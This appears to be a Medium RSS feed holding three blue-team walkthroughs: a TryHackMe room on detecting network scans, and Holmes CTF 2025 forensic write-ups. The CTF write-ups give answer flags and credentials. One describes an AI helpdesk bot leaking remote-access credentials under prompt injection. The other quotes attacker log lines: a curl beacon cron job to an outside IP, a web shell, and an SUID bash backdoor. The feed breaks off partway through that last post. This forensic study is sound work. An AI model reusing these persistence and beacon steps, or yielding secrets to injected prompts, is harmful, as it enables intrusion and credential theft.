<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by ClaudioXXX on Medium]]></title>
        <description><![CDATA[Stories by ClaudioXXX on Medium]]></description>
        <link>https://medium.com/@claudiovolpecv710?source=rss-9cd89e174dda------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*U45hO3FI1dxx5a0f0NSkAg.jpeg</url>
            <title>Stories by ClaudioXXX on Medium</title>
            <link>https://medium.com/@claudiovolpecv710?source=rss-9cd89e174dda------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 09:13:11 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@claudiovolpecv710/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Network Discovery Detection | TryHackMe Walkthrough]]></title>
            <link>https://medium.com/@claudiovolpecv710/network-discovery-detection-tryhackme-walkthrough-25e9a43ef216?source=rss-9cd89e174dda------2</link>
            <guid isPermaLink="false">https://medium.com/p/25e9a43ef216</guid>
            <category><![CDATA[network]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[discovery]]></category>
            <category><![CDATA[scanning]]></category>
            <dc:creator><![CDATA[ClaudioXXX]]></dc:creator>
            <pubDate>Fri, 17 Oct 2025 05:09:28 GMT</pubDate>
            <atom:updated>2025-10-17T05:16:33.244Z</atom:updated>
            <content:encoded><![CDATA[<p>This is a quick walkthrough of the network discovery detection room in tryhackme.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/317/1*jTZZeoYJGKPGShkERwyB8Q.png" /></figure><h3><strong>Network Discovery</strong></h3><p>Network discovery is used to identify active devices and services within a network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sXP-ivkRsQBqGzHmWHj9fA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JuHZNqmEMC0L_RHMO5AmjQ.png" /></figure><h3><strong>External vs Internal Scanning</strong></h3><p><strong>External Scanning:</strong> Scanning hosts from outside the network.</p><p><strong>Internal Scanning:</strong> Scanning hosts from within the network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t1KSEiuaEQygrGfZpaORhQ.png" /></figure><p>Read all the log files. The log-session2.csv has the src and dest ip both from internal network.</p><p><strong>src ip: </strong>192.168.230.127</p><p><strong>dest ip:</strong> 192.168.230.145</p><p>The ips within the range 192.168.0.0 to 192.168.255.255 are used for internal networks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xCGleJOXqEYDNU6SymkhzQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q-2FPmAAdaPuUGm1yuaGKA.png" /></figure><p>We can use <em>wc command </em>to find out the number of entries</p><p><em># wc -l log-session-2.csv</em></p><p>This will count the number of lines (-l flag) and return the result.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*-zGIHno2lBewny8aw2zmJw.png" /></figure><p>2277 is the total entries but the first line just tells the column names, so total entries = 2277–1 = 2276</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pvYvnVdiW_TONFx2KScb6w.png" /></figure><p>Looking at the other log files, we get the external ip performing scanning.</p><p>From log-session-0.csv:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*x-tEyYpBVoM5tSi0hk7vhg.png" /></figure><p>From log-session-1.csv:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JlzFJL1xCy3TcjYQiEe1tw.png" /></figure><h3><strong>Horizontal vs Vertical Scanning</strong></h3><p><strong>Horizontal Scan:</strong> Scan for the <em>same port</em> across multiple <em>destination IP addresses</em></p><p><strong>Vertical Scan: </strong>Scan the <em>same single machine</em> across <em>multiple ports</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3bJfWuBnAW2RdT6Up009SQ.png" /></figure><p>Horizontal Scan = different dest ips + same dest port</p><p>From the log-session-2.csv filter out the src ip, port and dest ip and port using <em>cut command or awk.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*QoNYaZt3jPbqJSXgOckUnQ.png" /></figure><p>Read the filtered file which shows 203.0.113.0/24 ips have been scanned against same port 0. Port 0 is used by icmp to ping a host and check it’s liveness.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*rdtjO2qmVr4EK_2_VlNcPA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SxJZvIr1u8F3_ICY5f4Z9A.png" /></figure><p>Vertical Scan = same dest ip + diff dest ports</p><p>Within the same log file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*6hjPmBr0gdZBppv8dU4kaw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DLi3O8-TckzQIs8-QaXAYA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*WrCpSExI_AN83BV3Alm75A.png" /></figure><p><strong>The Mechanics of Scanning</strong></p><p><strong>Ping Sweep:</strong> Sends ICMP to many hosts to discover which are alive; often blocked by firewalls.</p><p><strong>TCP SYN Scan:</strong> Sends TCP SYN probes to ports and treats SYN‑ACK as open, fast and relatively stealthy.</p><p><strong>UDP Scan:</strong> Sends UDP packets and infers open ports from lack of ICMP “port unreachable” replies — slow and unreliable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JxRY-v9nRz51V3nSxAHBtA.png" /></figure><p>Since ping sweep uses icmp packets, use the filter: <em>network.transport: icmp</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VwN38cT8WjyKkPNJX_TuYg.png" /></figure><p>You can simply add fields from the left panel to see the source ip here or expand the events and see it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ai07GbG0x93VPl0pZKK0Bw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QWowB8rH60dtblflRgrv4Q.png" /></figure><p>Since we have src and dest ip, add filter for these.</p><p>KQL:<em> source.ip: “203.0.223.25” and destination.ip: “192.168.230.145”</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*3dMLVOJ1VSZln1syVbwN1g.png" /></figure><p>Events show tcp is being used:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yHTRH-gZpZ_Jbe7R_NdfVA.png" /></figure><p>Also the conn_state is S0, which tells that connection attempt was made i.e, SYN was send.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*exyKLnNMaHusHt4T8zmzrQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ngMOVc5c73z9cdZcP23vfQ.png" /></figure><p>Using the udp filter to check for UDP scans.</p><p>KQL: <em>network.transport: udp</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PI0m2Hb0hb7Ve1DGkR_gAg.png" /></figure><p>There are only two udp events which suggests that no scan has occurred.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3R8SjredDNfQfevl2bYv_w.png" /></figure><p>That was all from this room.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*LvdsBZ1JDsyBNBGt2xzPEw.png" /></figure><p>Happy Learning…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=25e9a43ef216" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Watchman’s Residue | Holmes CTF 2025 | HackTheBox]]></title>
            <link>https://medium.com/@claudiovolpecv710/the-watchmans-residue-holmes-ctf-2025-hackthebox-ebc307c9b221?source=rss-9cd89e174dda------2</link>
            <guid isPermaLink="false">https://medium.com/p/ebc307c9b221</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[forensics]]></category>
            <category><![CDATA[2025]]></category>
            <category><![CDATA[holmes]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[ClaudioXXX]]></dc:creator>
            <pubDate>Wed, 08 Oct 2025 18:41:17 GMT</pubDate>
            <atom:updated>2025-10-17T05:18:23.170Z</atom:updated>
            <content:encoded><![CDATA[<p>The Watchman Residue was the only medium level challenge in Holmes CTF 2025.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/471/1*whaNT5Vh-yLg80ERjbEj1w.png" /></figure><p>The description for the challenge goes as:</p><p><em>“With help from D.I. Lestrade, Holmes acquires logs from a compromised MSP connected to the city’s financial core. The MSP’s AI helpdesk bot looks to have been manipulated into leaking remote access keys — an old trick of Moriarty’s.”</em></p><p>So the challenge hints that we need to look at the logs obtained from MSP to check the cyberattack connected to critical financial infrastructure. It also indicates that some remote access credentials have been leaked which were obtained by exploiting an AI helpdesk bot.</p><p>Here are the folders and files given in the challenge:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*ChcCgTzRQKfcBwpXj6Oosg.png" /></figure><p>The _MACOSX didn’t had anything useful.</p><p><strong>TRIAGE_IMAGE_COGWORK-CENTRAL:</strong> contains important log file, ntduser.dat file, USJournal files $J $MAX and other imp files.</p><p><strong>acquired file.kbdx file: <em>KeePass database file</em></strong>, used to securely store passwords, usernames, and other sensitive information.</p><p>Using KeePassXS to open the file but it asks for a passowrd:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*2jBjsYfOYpIJh4x_bQ6U6g.png" /></figure><p>Let’s move to the next file that is:</p><p><strong>msp-helpdesk-ai day 5982 section 5 traffic.pcapng: </strong>a pcap file that<strong> </strong>contains captured network communication (packets) that occurred over a network during a specific time.</p><p>Let’s start with the pcap investigation.</p><p>Open the file in wireshark</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*geXARmVfJNU-arEfRfD31g.png" /></figure><p>Spotted some HTTP traffic indicating some web communication between a client and a server.</p><p>So putting the HTTP filter to check out the traffic and we get alot of packets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*JbX2avtbwwZfGnmTLGCHkw.png" /></figure><p>When we go through the http packets it shows that the communication happened between the AI helpdesk chatbot and a person.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*FCG_yJHILqJJ4ypLpdyfmQ.png" /></figure><p>Follow tcp stream to read all the conversation that took place. The person, possibly the attacker impersonated as legitimate person and was able to manipulate the AI bot into giving up sensitive info.</p><p>This is an example of <strong><em>prompt injection attack </em></strong>where the person talking to the chatbot was able to manipulate it and get sensitive info from the AI, which should not have been disclosed by it.</p><p>At the end of stream we see that RMM ID and password has been provided by the AI bot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*5b27m580Lr84XG4jiygwyg.png" /></figure><p>So what the pcap file shows is the HTTP traffic between an AI helpdesk chatbot and an external user. Following TCP Stream on the suspicious flows we can read a full chat-like exchange where a human (likely the attacker) interacts with the bot.</p><p>The conversation contains a <strong>prompt-injection</strong> style interaction: the attacker crafts messages that manipulate the bot into revealing information it should not disclose.</p><p>At the end of the stream the bot returns remote management credentials, specifically an <strong><em>RMM ID and password </em></strong>which appears to be the secret the attacker wanted.</p><p>This is sensitive info leakage because these RMM credentials would allow the attacker remote access to systems managed by the MSP and therefore access to the city’s financial core, making this a high-impact credential-exfiltration event.</p><h3><strong>FLAGS</strong></h3><ol><li>What was the IP address of the decommissioned machine used by the attacker to start a chat session with MSP-HELPDESK-AI? (IPv4 address)</li></ol><p><strong>10.0.69.45</strong></p><p>From the packets we can get the ip of the attacker talking to the AI helpdesk</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*lVj-d_AswUNwDXIIZWKQGw.png" /></figure><p>2. What was the hostname of the decommissioned machine? (string)</p><p><strong>WATSON-ALPHA-2</strong></p><p>To get the host, check for the communication that occurred from the ip address of the attacker <strong><em>10.0.69.45</em></strong>. Filter via this ip and we get the host.</p><p>Apply wireshark filter <strong><em>ip.addr==10.0.69.45. </em></strong>The first packet contains the host.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*HdUZe-P2M3o2eDsmrVBX2w.png" /></figure><p>3. What was the first message the attacker sent to the AI chatbot? (string)</p><p><strong>Hello Old Friend</strong></p><p>In order to get the first msg we need to look into the http traffic generated by attacker ip.</p><p>Apply wireshark filter <strong><em>http &amp;&amp; ip.addr==10.0.69.45.</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*Lckdc5lBOeW6C8cP-45H_Q.png" /></figure><p>4. When did the attacker’s prompt injection attack make MSP-HELPDESK-AI leak remote management tool info? (YYYY-MM-DD HH:MM:SS)</p><p><strong>2025–08–19 12:02:06</strong></p><p>Look for the timestamp of the packet with credential information.</p><p>We can also see time in UTC format in panel by going to:</p><p>View&gt; Time Display Format &gt; UTC Date and Time of Day</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*IMncR9N0gbP2Ahyp-MdJWQ.png" /></figure><p>5. What is the Remote management tool Device ID and password? (IDwithoutspace:Password)</p><p><strong>565963039:CogWork_Central_97&amp;65</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*XenSYwWd0zE9cOAkC8lrzA.png" /></figure><p>6. What was the last message the attacker sent to MSP-HELPDESK-AI? (string)</p><p><strong>JM WILL BE BACK</strong></p><p>Use tshark to get all the http traffic from the pcap file into a txt file.</p><p><em># tshark -r msp-helpdesk-ai\ day\ 5982\ \ section\ 5\ traffic.pcapng -Y “http” -w output_http.txt</em></p><p>Read the output_http.txt file. The last msg was:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*sOiEUJQVR1KFmZUnalVtnQ.png" /></figure><p>Or simple use wireshark to get this.</p><p>7. When did the attacker remotely access Cogwork Central Workstation? (YYYY-MM-DD HH:MM:SS)</p><p><strong>2025–08–20 09:58:25</strong></p><p>There was a txt file with incoming connections in it present at: <em>The_Watchman’s_Residue\TRIAGE_IMAGE_COGWORK-CENTRAL\C\Program Files\TeamViewer</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*J1iNK6nHJjUQ4lzIjXArjQ.png" /></figure><p>Correlating time with the other log file, <em>TeamViewer15_Logfile.log</em> present in the same folder. We see that a session was really created at this time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*qbG5mqF7OsRBjCpXnE-4XA.png" /></figure><p>In the log file the time is UTC+1.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/1*eBu1v1sULnuwpsOJ7Vq2Yw.png" /></figure><p>8. What was the RMM Account name used by the attacker? (string)</p><p><strong>James Moriarty</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bAk8ayBwulx8U_iERR2sNg.png" /></figure><p>9. What was the machine’s internal IP address from which the attacker connected? (IPv4 address)</p><p><strong>192.168.69.213</strong></p><p>Looking further within the timeframe when the attacker connected and started the new session. We get an internal ip (remember the time is UTC+1).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*FglqxGFvh5LdyFm817wivA.png" /></figure><p>10. The attacker brought some tools to the compromised workstation to achieve its objectives. Under which path were these tools staged? (C:\FOLDER\PATH\)</p><p><strong>C:\Windows\Temp\safe\</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*fzdkV4aGDX-ZdyZvoD85TA.png" /></figure><p>11. Among the tools that the attacker staged was a browser credential harvesting tool. Find out how long it ran before it was closed? (Answer in milliseconds) (number)</p><p><strong>8000 milliseconds</strong></p><p>For this question I searched for more files and found a ntuser.dat file.</p><p><strong>NTUSER.DAT:</strong> This file is a hidden registry hive that stores a user’s personal settings and preferences in Windows.<br>It contains data like desktop configuration, application settings, recent files, and user-specific system information.</p><p>Using ntuser.dat file present in <em>The_Watchman’s_Residue\TRIAGE_IMAGE_COGWORK-CENTRAL\C\Users\Cogwork_Admin</em>.</p><p>To open this file we can use registry explorer by Eric Zimmerman. (By the way Eric Zimmerman tools are best for windows forensics, get to know them if you’re not fimiliar with those.)</p><p>When we move to <em>Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist</em> we can see how long did a process run. Since WebBrowserPassView is the browser credential harvesting tool, look for its execution.</p><p><em>8s = 8000 milliseconds</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*7RvxIFsvbN983zD4EBZ4cQ.png" /></figure><p>12. The attacker executed a OS Credential dumping tool on the system. When was the tool executed? (YYYY-MM-DD HH:MM:SS)</p><p><strong>2025–08–20 10:07:08</strong></p><p>Mimikatz is the OS Credential dumping tool. Since there is no mimikatz execution presented in ntuser.dat file, look which other files are present.</p><p>Two USJournal files $J and $MAX are present in <em>The_Watchman’s_Residue\TRIAGE_IMAGE_COGWORK-CENTRAL\C\$Extend</em></p><p><strong>USNJournal:</strong> The <strong><em>Update Sequence Number Journal</em></strong> is a hidden NTFS system file on Windows that records all changes made to files and directories, including creations, deletions, modifications, renames, and attribute changes. Mostly located at C:\$Extend\$file , and is useful to track file activity, even for deleted files.</p><p>We will use <strong><em>MFTECmd</em></strong>, another tool by Eric Zimmerman for parsing the NTFS $J file.</p><p><em># MFTECmd.exe -f C:\$Extend\$UsnJrnl — csv output.csv</em></p><p>This command parses the file and exports all file metadata to CSV, allowing us to view file activity, including creation, modification, and deletion.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*s7rv9O5_PBVlmdTYWmqNxg.png" /></figure><p>Find out mimikatz execution from the csv file. We see prefetch entry for Mimikatz, indicating that it was executed on the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*66m7oCFVdCzS62dwUfWWRA.png" /></figure><p>13. The attacker exfiltrated multiple sensitive files. When did the exfiltration start? (YYYY-MM-DD HH:MM:SS)</p><p><strong>2025–08–20 10:12:07</strong></p><p><strong>(remember UTC+1)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*KWsdaCfIg2gCdFLfTmzrnw.png" /></figure><p>14. Before exfiltration, several files were moved to the staged folder. When was the Heisen-9 facility backup database moved to the staged folder for exfiltration? (YYYY-MM-DD HH:MM:SS)</p><p><strong>2025–08–20 10:11:09</strong></p><p>To get this we will again check the USJournal file <em>output.csv.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BALgVgo3t2paKEattQ1WGg.png" /></figure><p>From the log file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*S-exiSlaiudLkFOguMz26g.png" /></figure><p>15. When did the attacker access and read a txt file, which was probably the output of one of the tools they brought, due to the naming convention of the file? (YYYY-MM-DD HH:MM:SS)</p><p><strong>2025–08–20 10:08:06</strong></p><p>This one was a little tricky. In log file there was a dump.txt file which was probably the output of the tools.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*jMdS0d_PoQVKpiCTVgyq5w.png" /></figure><p>In our csv file we can find this file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rDAdsgHc74qVn2CGhWsWUg.png" /></figure><p>16. The attacker created a persistence mechanism on the workstation. When was the persistence setup? (YYYY-MM-DD HH:MM:SS)</p><p><strong>2025–08–20 10:13:57</strong></p><p>For this open <em>SOFTWARE</em> file using registry explorer which was present in:</p><p><em>The_Watchman’s_Residue\TRIAGE_IMAGE_COGWORK-CENTRAL\C\Windows\System32\config</em>file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*5UG3IVkukrjW4UxXTvZR3A.png" /></figure><p><strong>SOFTWARE:</strong> This machine-wide Windows registry hive stores installed-software and system configuration data</p><p>Open the file in registry explorer and move to <em>Microsoft/Windows NT/WinLogon</em> where we get a key.</p><p>The attacker manipulated the subkey Userinit and included a binary named JM.exe, which was one of the downloaded files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*TZ6R1F6GYIq8029E1A41lg.png" /></figure><p>Persistence mechanism was WinLogon.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*y8fKecpHSMx8hARrMY5imQ.png" /></figure><p>The persistence mechanism was also discovered in the Security.evtx file.(I spent an eternity on that :) )</p><p>17. What is the MITRE ID of the persistence subtechnique? (Txxxx.xxx)</p><p><a href="https://attack.mitre.org/techniques/T1547"><strong>T1547</strong></a><strong>.004</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*Dh2v8b5_VYlL1snHjN5WRw.png" /></figure><p>18. When did the malicious RMM session end? (YYYY-MM-DD HH:MM:SS)</p><p><strong>2025–08–20 10:14:27</strong></p><p><strong>2025–08–20</strong> <strong>11:14:27</strong> &gt;&gt; <strong>2025–08–20 10:14:27</strong> (UTC+1)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*PaNug2rkMMe3rIzHf2-auw.png" /></figure><p>19. The attacker found a password from exfiltrated files, allowing him to move laterally further into CogWork-1 infrastructure. What are the credentials for Heisen-9-WS-6? (user:password)</p><p><strong>Werni:Quantum1!</strong></p><p>Crack the password using john the ripper</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*TMoC-VRItnaubN-48DdWPQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*t6Eq70iZ1V08YB6FnRrWEQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*Zko4JTISUXzHvGEqvKrsVg.png" /></figure><p>Use the password <em>cutiepie14 </em>on the acquired file(critical).kbdx and get the username and password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/460/1*lWF0KxgXINeX-YXzmZEmdQ.png" /></figure><p>Summary:</p><p>So in this challenge the attacker <em>James Moriarty</em> exploited an <em>AI helpdesk chatbot </em>through a <strong>prompt injection attack</strong>, tricking it into revealing remote management credentials.</p><p>Using these credentials, he remotely accessed the CogWork Central workstation, staged hacking tools, and ran programs like <em>Mimikatz </em>and <em>WebBrowserPassView</em> to gather passwords.</p><p>He then created persistence by modifying the WinLogon registry key, exfiltrated sensitive files from the system, and eventually found credentials to move deeper into the network.</p><p>The investigation used various forensic tools, including <strong>Wireshark</strong>, <strong>MFTECmd</strong>, and <strong>Registry Explorer</strong>, to trace each step of the attack and confirm how the AI’s data leak led to a full system compromise.</p><p>That was all from The Watchman’s Residue…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ebc307c9b221" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Card | Holmes CTF2025 | HTB]]></title>
            <link>https://medium.com/@claudiovolpecv710/the-card-holmes-ctf2025-htb-d497ec515595?source=rss-9cd89e174dda------2</link>
            <guid isPermaLink="false">https://medium.com/p/d497ec515595</guid>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[analysis]]></category>
            <dc:creator><![CDATA[ClaudioXXX]]></dc:creator>
            <pubDate>Sat, 27 Sep 2025 03:27:21 GMT</pubDate>
            <atom:updated>2025-09-27T03:37:35.775Z</atom:updated>
            <content:encoded><![CDATA[<p>This was the first challenge in the Holmes CTF 2025 by HackTheBox.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/471/1*whaNT5Vh-yLg80ERjbEj1w.png" /></figure><p>The challenge had three log files and we had to analyze these files to get the flags.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*P6NLFN9oPiupuJUsk4HBWw.png" /></figure><p>What basically are these logs:</p><p><strong>access logs:</strong> Record details of incoming requests to a system, such as IP, time, URL, and response code.</p><p>This is how access log from the challenge looks like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*s7f3r0OqVIvd3mIqoaphkg.png" /></figure><p><strong>application logs:</strong> Capture events and errors generated by the application’s code and business logic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*iPSI8MODRff2M0j_mF3TYg.png" /></figure><p><strong>waf logs: </strong>Track web requests inspected by the Web Application Firewall, and generate log for any unusual acitvity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*LKMWi1H7qkq4qAIkNtTk9Q.png" /></figure><p>The description for the challenge goes as:</p><p><em>“Holmes receives a breadcrumb from Dr. Nicole Vale — fragments from a string of cyber incidents across Cogwork-1. Each lead ends the same way: a digital calling card signed JM.”</em></p><p>This description points that a number of cyber incidents took place, where each attack left clues, all pointing to the same mysterious hacker who signs off as “JM.”</p><h3>Timeline Of Attack</h3><ol><li><strong>Reconnaissance (May 1 — May 3)</strong></li></ol><p>Automated scans on common paths like robots.txt, sitemap, common admin path. This can be seen in the access.log file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*EjiaROArLxHgYTwx3c0BKA.png" /></figure><p>User enumeration took place via <em>api/v1/users</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*9VMcxA39akjzsLmWjCeYwQ.png" /></figure><p>From waf.log file we see that it also flagged reconnaissance, admin path access attempts, and directory traversal and <strong>blocked</strong> some attempts. Actions are logged as <em>MONITOR/BLOCK</em>.</p><p>MONITOR:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/659/1*S3ioOWiJoyV5pke8uXJA6Q.png" /></figure><p>BLOCK:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*UQMKpeBb3t1_Dx7g1xAtWA.png" /></figure><p><strong>2. Credential probes (May 5)</strong></p><p>Brute-force login attempts to <em>api/v1/auth/login</em>. WAF detected the brute-force attempt and rate-limited the IP for an hour.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*YzYZwBHpMONEmeq0emv6Kg.png" /></figure><p><strong>3. Info leak via debug endpoints (May 12)</strong></p><p>Attacker accessed debug endpoints from <em>api/v2/debug/* (/</em>info, /config, /logs, /env), obtaining sensitive data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*EITSqQrfczt8gkJtK81n6g.png" /></figure><p>WAF logged these accesses and alerted on environment variable exposure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*IcOyF4kaq08ryPvrAdBygA.png" /></figure><p><strong>4. Remote Code Execution and Exploitation</strong> <strong>(May 15)</strong></p><p>App logs record that Post <em>api/v2/debug/exec is </em>used to run commands like: whoami, id,uname -a, ls -la /var/www/html. This shows sucessfull RCE.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*SBeyrvFOfwS3ad9NR9b9UA.png" /></figure><p>WAF also recorded <em>COMMAND_INJECTION / FILE_SYSTEM_ACCESS / DATA_EXFILTRATION</em> events around the same time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*YvthYTqsVGaBhUroZL-brQ.png" /></figure><p><strong>5. Backdoor deployment &amp; persistence (May 15)</strong></p><p>The next logs show</p><p>Web shell created: <em>/var/www/html/uploads/temp_4A4D.php</em>.</p><p>SSH keypair created: <em>/tmp/backdoor_4A4D </em>and<em> </em>public key appended to .<em>/root/,ssh/authorized_keys.</em></p><p>Cron job added to beacon attacker: <em>*/5 * * * * curl -s http://121.36.37.224:7477/beacon?id=4A4D</em></p><p>SUID root backdoor created: copy of <em>/bin/bash </em>at <em>/tmp/.system_update_4A4D</em> with <em>chmod +s.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*rjSypaISCTEapuceh9nXNA.png" /></figure><p><strong>6. Data staging &amp; exfiltration (May 18)</strong></p><p>Web shell created, was used to stage an archive<em> /tmp/exfil_4A4D.tar.gz</em> and then files were downloaded.</p><p>Files downloaded: <em>backup_2025_4A4D.tar.gz, database_dump_4A4D.sql, config_4A4D.json.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*kVqIWLTfQ1_ScDkipg-8Ng.png" /></figure><p>access.log:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*n9NWtfzHMCLwtEU9vHattw.png" /></figure><p><strong>7. Privilege escalation &amp; lateral movement (May 19)</strong></p><p>Root login via SSH backdoor detected (121.36.37.224).</p><p>SUID shell executed for local root (/tmp/.system_update_4A4D).</p><p>Persistent SSH tunnel created to <em>localhost:3306</em> (DB access); attacker connects to MySQL.</p><p>Lateral scanning from compromised host.</p><p>application.log:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*Pg1vuARY9vSC3xmM5PJs3Q.png" /></figure><p>waf.log:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*_539rWx3IMlUoe6id5yWdQ.png" /></figure><p><strong>8. Cover-up attempts</strong></p><p>Log tampering detected (<em>/var/log/auth.log, /var/log/webapp.log</em>).</p><p>Rootkit installation attempt, modification of system binaries detected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*4BLQtKFTnuIuLdkQKOhCfA.png" /></figure><p>So, this was the basic timeline extracted from the provided logs. Next I’ll show how each flag was found and also add some details where necessary.</p><h3><strong>FLAGS</strong></h3><ol><li>Analyze the provided logs and identify what is the first User-Agent used by the attacker against Nicole Vale’s honeypot. (string)</li></ol><p><strong>Lilnunc/4A4D — SpecterEye</strong></p><p>Since we 